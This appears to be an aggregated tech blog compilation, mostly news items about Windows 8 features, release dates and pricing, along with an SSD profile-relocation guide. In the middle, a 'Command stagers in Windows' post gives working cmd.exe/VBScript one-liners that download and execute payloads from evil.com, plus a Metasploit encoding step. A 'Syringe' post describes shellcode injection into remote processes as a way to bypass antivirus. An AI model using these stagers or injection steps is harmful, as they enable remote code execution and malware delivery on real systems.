Windows 8.1 will reportedly launch mid-October

According to the latest reports, Windows 8.1 will be available to all users in mid-October, roughly one year after Microsoft launched Windows 8 to the public. Microsoft is expected to deliver RTM Windows 8.1 code to OEMs by the end of August, although unlike previous years the RTM release won't be available on MSDN or TechNet at that time; instead Microsoft will be holding back the launch until October for all channels.

Microsoft tightens Windows 8 activation policy to curb piracy

Piracy is a fact of life for Microsoft. Case in point: just two days after the company began distributing the finalized version of Windows 8 to partners around the globe, the code became publicly available across various file sharing sites. Microsoft declined to comment on the leak but, presumably, someone working at an OEM was responsible.

Previous products have leaked online as well, and while its very unlikely they’ll get rid of the problem altogether anytime soon, Microsoft is looking to close down a few of the loop holes that made life easier for pirates and rogue OEMs. In particular Microsoft is looking to change the way they deal with OEM activations for Windows 8.

OEM Activation (OA) allows PC manufacturers to ship systems with Windows preinstalled and already activated, so that customers don't need to take any additional steps to activate the OS when they first use a new computer. In the past, a single activation key was used by most OEMs to activate all of their shipped machines. However, going forward, manufacturers will be required to write a unique Windows product key into the BIOS of each new PC, based on each particular system’s hardware.

This key isn’t automatically generated by OEMs either. They will need to obtain it directly from Microsoft via electronic delivery and factories will be required to file production reports to Microsoft detailing their license compliance, thus making it harder to avoid paying licensing fees to Microsoft.

The new activation scheme hasn’t been officially confirmed by Microsoft -- details are based off a series of leaked slides obtained by The Register. According to the site, OA 3.0 will only apply to new PCs running Windows 8. Other versions, including Windows Server 2012, Windows 7 and earlier are not affected.

At this point it’s unclear what the move will mean for individuals buying OEM versions of the OS, or if the hardware based activation will somehow affect users manually upgrading their laptops’ storage or memory.

Microsoft has set a release date of October 26 for Windows 8. Upgrade pricing is set at $39.99 for those running legit copies of Windows XP, Windows Vista and Windows 7. Those that purchased a Windows 7 machine in the months leading up to Windows 8’s release, are eligible to upgrade for just $14.99.

Microsoft intros new mice and keyboards tuned for Windows 8

Microsoft has announced multiple keyboards and mice tuned specifically for systems running Windows 8. The majority of new devices are Bluetooth-enabled and compact enough to fit in your pocket, making them an ideal solution for tablet use.

The Microsoft Wedge Mobile Keyboard is a full-size ultra-slim board that features a minimalist design. The $79.95 unit is designed for tablet use and includes Windows 8 Hot Keys for quick access to things like system settings, search and the Charms interface. The keyboard connects via Bluetooth and ships with a smart cover that not only protects the input device but also automatically kills power when used to conserve battery life.

Microsoft’s Sculpt Mobile Keyboard features a familiar Comfort Curve design like we have seen on past ergonomic boards. This typer also features Windows 8 Hot Keys, Bluetooth connectivity and enjoys 10 months of battery life which can be monitored and controlled via a two-color indicator and on/off switch, respectively. The Sculpt comes with an MSRP of $49.95.

The aptly-named Wedge Touch Mouse is small enough to fit in your pocket and provides four-way Touch scrolling and navigation. The pointer utilizes Microsoft BlueTrack Technology which allows it to work on nearly any surface, an added benefit for on-the-go use. The $69.95 Wedge mouse conserves battery power by automatically turning off alongside the system it is paired with.

The $49.95 ambidextrous Sculpt Touch Mouse is more of a traditional mouse that includes a four-way touch scroll strip, BlueTrack Technology and Bluetooth connectivity. Microsoft also points out that the Touch Mouse released last year will receive a software update for Windows 8 gesture use.

All of the devices are expected to be ready around the same time that Windows 8 launches inlate October.

Microsoft outlines File History feature in Windows 8

Microsoft has once again taken to their Building Windows 8 blog to detail another new feature in the upcoming operating system. Bohdan Raciborski from the storage team gives us the skinny on File History, a backup application designed to continuously protect files found in Libraries, Desktop, Favorites and Contacts folders.

By default, the service scans the file system every hour for changes. If something has changed, a copy of the file(s) in question will be backed up to an external storage device selected by the user. Over time, the service will build a complete history of changes to any and all personal files. File History supersedes the existing Windows Backup and Restore features currently found in Windows 7, a feature that is utilized by less than five percent of consumers, according to Microsoft’s data.

With File History, Microsoft wants users to feel confident that their files are protected when using the feature. It hopes to eliminate the complexity of setting up and restoring backups by automating the process as a silent service that does all of the work in the background without interrupting the user.

To enable File History, simply open the File History control panel applet, connect an external device like a USB flash drive or external hard drive and click or tap Turn on. The same can be done in AutoPlay by tapping or clicking the notification that shows up when a new drive is detected and opting to configure the drive for backup.

If something goes wrong and you need to recover data, Microsoft starts the search right in Windows Explorer, allowing you to browse to a specific folder or location and tap or click the History button to see all versions of the file, folder or library available.

Microsoft says the feature is optimized for performance by scanning NTFS journals for file changes and only protects the personal files that are most precious and hardest to recreate. Common operating system files and applications could easily be recovered using traditional means.

Be sure to check out the full posting at Building Window 8 for more details.

Microsoft officially sets Windows 8 general availability for October

Microsoft today officially revealed a more specific shipping schedule for its forthcoming Windows 8 operating system during its Worldwide Partner Conference in Toronto. Widely expected to arrive ahead of the Holiday shopping season, Windows CFO Tami Reller said Windows 8 will be in the hands of its OEMs during the first week of August, with PCs and tablets running the new operating system on sale at the end of October.

Microsoft will turn on the commerce platform for its Windows app store at the same time the "release to manufacturing," or RTM build of Windows 8 goes live in August. This will allow developers to start making money off their Metro applications. Up until now, apps at the Windows app store have been free.

The company also said that enterprise customers with Software Assurance benefits will have full access to Windows 8 as early as August, months before the general consumer public. It’s unclear if subscribers to Microsoft's for-a-fee developer services, including MSDN and TechNet, will get early access as well.

Windows 8 will be available in 109 languages across 231 markets worldwide. Launch hardware is expected to include desktops, laptops, tablets and so-called "convertible" machines that combine the latter two. Microsoft’s own Surface tablet falls into that category but the company hasn’t confirmed a launch date yet.

During the announcement Microsoft noted that Windows 7 has been a bestseller for the company, with 630 million copies sold and more than half of desktops in the enterprise using the OS. But they are certainly hoping to get a good chunk of those, as well as home users, to migrate to the latest release with a limited time offer to upgrade from XP, Vista, 7 or even the Windows 8 Release Preview for only $39.99.

Samsung readying Windows RT tablet for October launch

Samsung is reportedly working on a tablet running Microsoft's next generation operating system ahead of its worldwide release in October. According to sources familiar with the matter cited in a report byBloomberg, the South Korean firm plans to release the ARM-based tablet running Windows RT at the same time as Microsoft releases its new OS to the public.

Both of the sources asked not to be named as the plans weren't public. One of them claimed Samsung's Windows RT tablet would be released in October.

Windows RT is a fine-tuned version of Windows 8 for touchscreen devices that will be powered by ARM-based processors. Samsung’s Windows RT tablet in particular will feature a Qualcomm Snapdragon SoC. ARM-based chips have risen massively in popularity in recent years and are now used to power a whole host of smartphones and tablets, including Apple's industry leading iPad tablet and iPhone smartphone.

Samsung's entry will provide a welcome boost to the Windows 8 tablets available at launch. Two weeks ago rumors emerged suggesting one of Microsoft's biggest OEMs, Hewlett Packard, was towithdraw from making ARM-based Windows RT tablets after the software giant unveiled its own Microsoft Surface tablet.

HP has since confirmed in a statement to Forbes it plans to focus on x86 Windows 8 tablets with business users in mind for the foreseeable future. That said, they didn't completely rule out ARM-based Windows RT tablets, saying it "continues to look at using ARM processors in business and consumer products".

If the latest rumors are true, Samsung would join Asus, Dell and Microsoft in building ARM-based tablets running Windows RT for launch in October. The launch will mark the first time ever that the Redmond software firm has released a cross platform operating system working on traditional x86 computers and notebooks as well as ARM-based tablets at the same time.

Windows 7 surpasses 50 percent global OS market share

Recent data from analytics company StatCounter shows that Windows 7 has obtained more than half of the worldwide operating system market for the first time. The OS surpassed Windows XP as the most popular choice globally in October 2011 but it wasn’t until last month that it surpassed the 50 percent mark.

According to StatCounter, Windows Vista continues to hold the bronze medal for third place with 8.32 percent market share, although Mac OSX has been making a heavy push to capture this spot as of late, sitting at 7.05 percent at the end of June. If current trends continue, OSX will likely overtake Vista in the coming months.

Of course this is only one company’s interpretation of stats, as Net Applications claims that Windows XP still holds a 43.61 percent share of the market. Their data indicated that XP is still the top dog, just barely edging out Windows 7 at 41.59 percent. Furthermore, Vista still holds a sizeable lead of 3.6 percent market share over OSX.

CNET highlights that despite launching nearly three years ago, Windows 7 has had a slower time achieving the same popularity as Windows XP. The main reason for this is that many businesses are still holding on to XP for dear life after seeing how bad Vista was. XP is generally considered to be stable and custom business applications built for the platform would likely need to be recoded to work on 7.

Microsoft will ending support for Windows XP in April 2014 and is encouraging legacy users to upgrade to Windows 7 ASAP.

Source 

Microsoft will offer digital Windows 8 Pro upgrades for $39.99

Microsoft will make it affordable to ditch your current Windows installation for the latest version. If your system is running Windows XP, Vista or 7, you'll be able to upgrade to Windows 8 Pro for only $39.99 and if desired, you'll be able to add Windows Media Center for free via the "add features" option after the operating system installs.

Besides being cheap, the upgrade sounds straightforward enough for most users to perform without assistance. After downloading the Windows 8 Upgrade Assistant, you'll be guided from purchase to installation, informing you about application or device incompatibilities, Windows 8's features, what you'll be able to keep and so on.

For reference, it was $120 or $220 to upgrade a Windows Vista machine to Windows 7 Home Premium or Ultimate (excluding promotions such as academic discounts and family packs).

It's worth noting that, although you can download an ISO via the Upgrade Assistant and create your own bootable DVD or USB drive, Microsoft will sell you a backup DVD for $15 plus shipping. Likewise, physical retail copies of the Windows 8 Pro upgrade media will cost $69.99. These prices will be available in 131 markets through January 31, 2013, and it's unclear how much they'll increase afterward.

As a reminder, folks who purchase a Windows 7 computer after June 2 will be able to upgrade to Windows 8 Profor only $14.99. Upgrading from Windows 7 will be seamless, allowing you to keep your files, applications and operating system settings. Windows Vista will only be able to keep files, while XP users will be able keep files and applications, if a rumor from last week pans out.

Command stagers in Windows

Command injection/execution bugs are a relatively common vulnerability. For example, Internet Explorer, Google Chrome, and Mozilla Firefox have all had these problems, at least including common add-ons. (see http://www.securityfocus.com/archive/1/archive/1/499570/100/0/threaded,http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-5045, etc.) Many server-side scripts in webapps also suffer from the same issues.

Against a Linux target, many exploitation possibilities abound, from staging a payload via curl or wget, throwing up a shell via perl or ruby, or launching a double-reverse shell via telnet. Many of these have been implemented in Metasploit, even providing a number of encoders to obfuscate or avoid bad characters. But on Windows, telnet won’t work, and the other programs usually are not present. ReL1K presented on using powershell to provide many different payload and stager options on Windows, but it isn’t present by default on many Windows installations either. The TFTP and FTP commands are an option, but firewalls usually stop them from functioning. Vbscript support on the other hand, is present by default on all Windows versions from Windows 98 and NT 4 all the way to 7 and server 2008r2. So I prefer using a vbscript download/execute command line, which has also recently been incorporated into Metasploit. To launch a vbscript file from a command line, a vbscript file needs to be executed, so the command needs to create the file, then launch it. The completed command looks like this:

Code:

cmd.exe /q /c echo Set F=CreateObject("Microsoft.XMLHTTP") >e.vbs&echo F.Open "GET","https://evil.com/evil.exe",
False >>e.vbs&echo F.Send >>e.vbs&echo Set IA=CreateObject("ADODB.Stream") >>e.vbs&echo IA.Type=1 >>e.vbs&echo IA.Open >>e.vbs&echo IA.Write F.responseBody >>e.vbs&echo IA.SaveToFile "%tmp%\cj.exe",
2 >>e.vbs&echo CreateObject("WScript.Shell").Run "%tmp%\cj.exe" >>e.vbs&echo CreateObject("Scripting.FileSystemObject").DeleteFile "e.vbs" >>e.vbs&start e.vbs

The only problem is that the command is long. It’s not too long for cmd.exe or windows API calls, but some other programs have limits of 256 characters or less, and this command won’t work. The solution is to use a vbs stager; about half the command length can be cut by simply downloading and executing a vbscript file in memory:

Code:

cmd /q /c echo Set x=CreateObject("Microsoft.XMLHTTP") >v.vbs&echo x.Open "GET","http://www.evil.com/evil.vbs",
False >>v.vbs&echo x.Send >>v.vbs&echo Execute x.responseText >>v.vbs&start v.vbs

Now all you have to do is take your payload, encode it as a vbs,

Code:

msfencode -t vbs -o evil.vbs

and your complete exploit is ready. When run, your exploit will create and run a .vbs file that will then download and execute the payload vbs in memory, which will extract, write, and run an executable file containing the binary payload.

Integrate into metasploit by putting this file:http://scriptjunkie1.110mb.com/security/download_eval_vbs.rb into your msf3/modules/payloads/singles/cmd/windows directory.

[source]

Syringe – DLL and Shellcode Process Injection Utility

If you remember about an old post of ours – Shellcodeexec, you might have a faint idea of what Syringe does. Shellcodeexec is a small script to execute in memory a sequence of opcodes. What it does is it spawns a new thread where the shellcode is executed in a structure exception handler (SEH). Syringe is a general purpose injection utility for the Windows platform. It supports injection of DLLs, and shellcode into remote processes as well execution of shellcode (via the same method of shellcodeexec). It can be very useful for executing Metasploit payloads while bypassing many popular anti-virus implementations as well as executing custom made DLLs.


Syringe can inject this modified version into the remote process and successfully execute shellcode in its context, interact with our shellcode and exit out of it, without damaging the remote process. Implimenting this technique, it provides users an easy way of injecting shellcode into 32-bit processes while bypassing most forms of antiviruses! Simply put, this technique is implimented by Syringe follows these steps:


Opens a handle to the remote process.
Uses VirtualAllocEx to allocate memory in the remote process with the necessary permissions of read, write, and execute.  Then uses WriteProcessMemory to copy the shellcode to the remote buffer.
Repeats step #2 with the assembly stub.
Starts the assembly stub via a call to CreateRemoteThread, with a pointer to the assembly stub as the function to execute and a pointer to the remote shellcode as the argument.

Windows 8 adds RAID-like storage pooling and fault tolerance

An interesting article has been posted to the MSDN blog, thoroughly outlining a new Windows 8 feature called "Storage Spaces". The technology will allow users to create a single storage volume from multiple storage devices. The feature also allows users to dynamically expand a Storage Space volume by adding more devices on the fly. Storage Spaces affords users this freedom by cleverly organizing used and free space across NTFS volumes. 

For example, Windows 8 users will be able to lump together any mixture of storage devices into a single volume that appears as D:\. If a user gets low on space, they can simply pop in another hard drive or plug in another external drive and Storage Spaces will expand D:\ to include the new device. More importantly, it does this without losing data.

Storage Spaces allows NTFS-formatted devices to be combined into "pools" and broken apart into "spaces". Pools are collections of storage devices that work similarly to JBOD RAID arrays (just a bunch of disks) while spaces are more analogous to partitions. Unlike JBOD arrays though, the feature also protects your data from drive failure. Similar to RAID 5, Storage Spaces utilizes parity data to provide a fault tolerance strategy.

Although they share a lot of common ground though, Storage Spaces is not a RAID solution. TheFAQ states:

Fundamentally, Storage Spaces virtualizes storage in order to be able to deliver a multitude of capabilities in a cost-effective and easy-to-use manner. Storage Spaces delivers resiliency to physical disk (and other similar) failures by maintaining multiple copies of data. To maximize performance, Storage Spaces always stripes data across multiple physical disks. While the RAID concepts of mirroring and striping are used within Storage Spaces, the implementation is optimized for minimized user complexity, maximized flexibility in physical disk utilization and allocation, and fast recovery from physical disk failures. Given these significant differences in objectives and implementation between Storage Spaces and traditional inflexible RAID implementations, the RAID nomenclature is not used by Storage Spaces.

Currently, hardware and software technologies which offer similar benefits do exist, such as LVM, ZFS, Drobo, higher-end RAID controllers and so on. However, Storage Spaces appears to offer a great deal of flexbility and simplicity, simultaneously. The feature is, at the very least, a huge improvement over the current implementation of "Dynamic Disks" found in Windows.

Storage Spaces will effectively be the "consumer" version of Drive Extender, a deprecated feature of Windows Home Server. However, the blog points out it is not intended to be a feature-by-feature replacement and is incompatible with existing Drive Extender volumes.

Windows 8 to feature built-in password manager, synchronize between computers

Microsoft hopes to simplify the task of managing multiple passwords with the next major release of its popular operating system. According to a post on the company's Building Windows 8 blog, a new feature will allow users to put an unlimited number of individual passwords behind one master password, and have them synchronize across all other Windows 8 machines they use.

Since the Live ID is the only password you'll need to know, you can set complex and unique passwords for multiple websites -- so if one site gets hacked and your credentials are stolen from their servers, you entire digital lives won't be at risk. Windows 8 will automatically enter your login information when visiting a saved website. This is similar to what services like 1Password and LastPass currently offer.

If your Windows Live ID password is somehow lost or stolen, there will be a number of safety features in Windows 8 designed to detect compromise and limit account usage until you can successfully recover access to it. For instance, users can request a confirmation code be sent to a mobile phone number or email address registered with Windows Live. Also, even if your credentials are compromised, you will still have full access to your PC since Windows 8 will accept the last password successfully used to log onto the system.

Microsoft says it will also offer a a number of "convenience" sign-in methods such as Picture Password and biometrics -- they didn't go into details but promised to do so in a future update. You can read more about Windows 8's security features in the characteristically long post at Building Windows 8.

Windows Phone leadership changed, Windows 8 integration hinted

On Monday, Steve Ballmer issued a memo informing Microsoft employees that leadership of the Windows Phone 7 team would be handed over to vice president and lead engineer, Terry Myerson. The former division president, Andy Lees, will be working on a special project that aims to yield the "maximum impact" of Windows Phone 7 and Windows 8 in 2012. Lees had been the president of the WP7 team for three years.

While "driving maximum impact" is not clearly defined, Microsoft may be planning some substantial tie-in between Windows Phone 7 and Windows 8. Perhaps this will translate into tight integration between the two platforms, mutual promotions, common design elements, ideas for tablet PCs or even some sort of platform unification. Regardless, the implications could be profound. We'll just have to rely on our imaginations for now.

Ballmer admitted Windows Phone 7 has not seen the kind of traction Microsoft would like, with a mere 1.5 percentmarket share among smart phones world-wide. Analysts have also shown that WP7 has all but stopped in growth while Android gobbles up most new smartphone owners across the globe.

Despite the company's difficulties, Microsoft's CEO points out that smart phones with WP7 continue to receive favorable reviews and people generally seem to like the platform. Early this year, we reported that 93 percent of WP7 owners were either satisfied or very satisfied with their phones and 90 percent were willing to recommend the platform to their friends.

Ballmer also suggested Microsoft's recent deal with Nokia will help forge a healthy future for Microsoft's mobile endeavor. As part of the deal, the handset maker will been manufacturing WP7 phones for global distribution. The Lumia is the only Nokia phone currently available with WP7.

As part of a holiday promotion, Microsoft is still offering their $25 prepaid app store card for the purchase of any WP7 phone until December 31.

Microsoft details Windows 8 app store, confirms February beta

Microsoft hosted a special event in San Francisco yesterday to discuss details about its upcoming application store for Windows. The company shared details on everything from registration fees to the approval process, revenue model, as well as advertisements and in-app purchases. It also confirmed that a beta of its app store, named the Windows Store, will launch as part of the Windows 8 beta in late February.

Built using HTML5 and JavaScript, the Windows Store will feature the same touch-friendly UI that’s familiar to Windows Phone 7 users, except it will be full screen and available on your computer. As Microsoft indicated earlier, it's intended to be the single source of Metro-style apps to allow better discoverability and facilitate in-app purchases. The store will offer support for both x86 and ARM-based hardware.

During the initial trial period, the Windows Store will feature free apps only and app submissions will be by invitation. However, once Microsoft opens submissions to the wider developer community, they will be able to price their creations from  between $1.49 to $999.99 or offer them for free. Microsoft will take a 30% cut on sales, but that will drop to 20% as soon an app makes $25,000 from sales and in-app purchases.

That's a better deal than what Apple or Google offer with their respective app stores, which charge a 30% commission indefinitely. Also unlike its rivals, Microsoft will allow time-based and feature-based trial versions of apps in its store, which can be upgraded later to the full version if the developer supports it.

In order to submit apps individual users will need to pay a one-time registration fee of $49 while companies are charged $99. Windows 8 will be a curated platform, at least as far as Metro apps are concerned, so developers will need to go through the approval process. Microsoft has already laid out its criteria for app approval here. There will be status updates throughout the entire process, and developers whose apps are rejected will be given feedback on what changes they'll need to make to get approved.

During the presentation, Microsoft’s VP of Windows Web Services Antoine Leblond emphasized the potential reach of the Windows Store, pointing out that some 400 million x86-based PCs are expected to ship over the next 12 months. That's on top of the 1.25 billion Windows PCs already on the planet.

The software giant will make the Windows Store and the apps in it available in more than 100 languages with availability in 231 markets around the world. To encourage developers to get working, Microsoft will be running a competition for eight winning apps to be featured on the Windows Store when it opens.

It should be noted that traditional desktop applications on Windows 8 will continue to be available through the usual channels, such as the developer's website, a downloads portal, physical media and so on.

How-To: Optimize Your Windows Profile and Media Storage with a SSD

SSDs are all the rage for performance-oriented builders these days, but they aren’t without problems. Even the largest solid state drive is too small to hold all the stuff we need to store on the C: drive—games, photos, music, videos, etc.—and the inexpensive models max out at around 64GB of capacity. And there’s the performance problem, to boot. All but the most expensive SSDs suffer from very slow write speeds, which can have a significant impact on your real-world performance.

So what’s the solution? We’re going to show you how to set up your Windows install like a Linux setup—with the OS and primary apps on the SSD, and your user profile and space-hogging games on a traditional hard disk. This gives us the best of both worlds—the folders we write to most frequently are on a traditional disk, while our boot and app load times can benefit greatly from the fast read speed and low random-access time of an SSD. Best of all, you can use even a tiny 64GB SSD without having to constantly manage disk space—picking and choosing which apps and media will be stored on the small drive.

Step 1: Install Windows on Your SSD

While you can change the default path of your user profile using the Windows Pre-Install Kit, it’s more trouble than it’s worth to do it that way. Instead, we’re going to tweak Windows after it’s already in place. The first thing you’ll need to do is install Windows on your SSD, which is essentially no different than any other time you’ve installed Windows. When you’re prompted to create an account at the end of the install, don’t use the account name you actually want; use a temporary placeholder instead. You’ll create the actual account you’ll use later. Don’t install any applications until after you’ve moved your user profile.

Once Windows is installed, you should create the user account you intend to use. Go to the Control Panel and search for Add User. Create your account, but don’t log in yet.

We’ve tested our procedure with Windows Vista and Windows 7 Beta 1, but it should work with XP as well if you adjust the paths yourself (Vista and Windows 7 store user profile in C:\Users by default, XP is C:\Documents and Settings). Once Windows is installed and updated with drivers and security patches, you’ll need to set up the partitions on your hard disk.

We created two partitions on our hard disk, one for the user profile and one for games and other large applications. To access the partitioning tools, right-click Computer in the Start Menu and click Manage. Go to Disk Management. Then, right-click your hard disk and create a new partition. We made each partition roughly half of the drive, but if you have a lot of media files, you may want to make your user profile partition larger than your game partition. Once the two partitions have been formatted as NTFS, you can continue to the next step.

Step 2: Copy Your Profiles

Next, you’ll want to assign a drive letter to your user profile drive. We chose U:\, but you can use whatever letter you prefer. In U:\, you’ll need to create a folder called Users. Now, reboot your computer and go into Safe Mode by pressing F8 as it boots. Once you’re in Safe Mode, go to C:\Users and copy the Default and Public folders to U:\Users\Default and U:\Users\Public. You’ll likely find some *.tmp files that simply won’t copy; it’s OK to skip them.

 

After that’s done, you should open the registry editor (press the Windows key on your keyboard and type regedit). Navigate to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList. In that folder, you need to change the value of the Default key to U:\Users\Default, the Public key to U:\Users\Public, and the ProfilesDirectory to U:\Users. Reboot your PC and log in using the account you created in step 1. During the login, Windows will create your new user account, which should be in U:\Users.

Step 3: Wrapping up Loose Ends

If you didn’t take our advice in step 1 and start with a clean install, this is the point at which you should copy the contents of your old user profile into your new directory. Rather than doing a wholesale copy/paste of the whole directory, it’s safer to only pull the files you need.

You’ll also want to open the registry and do a Find for C:\Users. We found about 20 instances on our test machines, even in a fresh account. While there are some tools that will do an automatic find and replace on the registry, we chose to manually use regedit so we could verify each change ourselves. Open regedit (type regedit after pressing the Windows key), click Computer at the top of the left pane, and then go to the Edit menu and click Find. Type C:\Users and click Find. Then manually change each key to U:\Users. Press F3 to find the next instance, and keep at it until you've changed all the entries. Reboot your PC, then restart regedit and search one final time to ensure you didn't miss any entries.

If you're doing this on a machine that's been used, there will likely be a massive number of registry changes necessary. In that case, download Registry Finder (www.acelogix.com/regfinder.html, 30-day trial) to automate some of the process. While it’s not perfect, Registry Finder will find and change many of the entries for you. You'll still want to do a manual search with regedit, but Registry Finder could save you an hour of copy/pasting.

At this point, you could delete C:\Users if you so desire. We find that it's better to leave the folder, so that even poorly behaved apps that use a hardcoded profile path will continue to work. You should, however, occasionally check the C:\Users folder to see if any files have popped up there.

At this point, your Windows install is ready to go. However, before you install any big apps, you should mount your games partition so you don't waste precious space on the SSD for games.

Step 4: Create a Place for Games

Now, we're going to mount your games partition in the file system. First, you create a folder in your C:\Program Files directory (or C:\Program Files (x86) on 64-bit Windows) called Games. Go back to the Computer Management console and click Disk Management. Right-click the Games partition and select Change Drive Letter and Paths. Select any drive letters that are currently being used and click Remove, then click Add. Select "Mount in the following empty NTFS folder", and browse to the Games folder you just created. Now anything you install at C:\Program Files\Games will actually be stored on your hard disk, and not your SSD. Paths and permissions will also be inherited. Be sure not to mount your Games folder to any additional drives.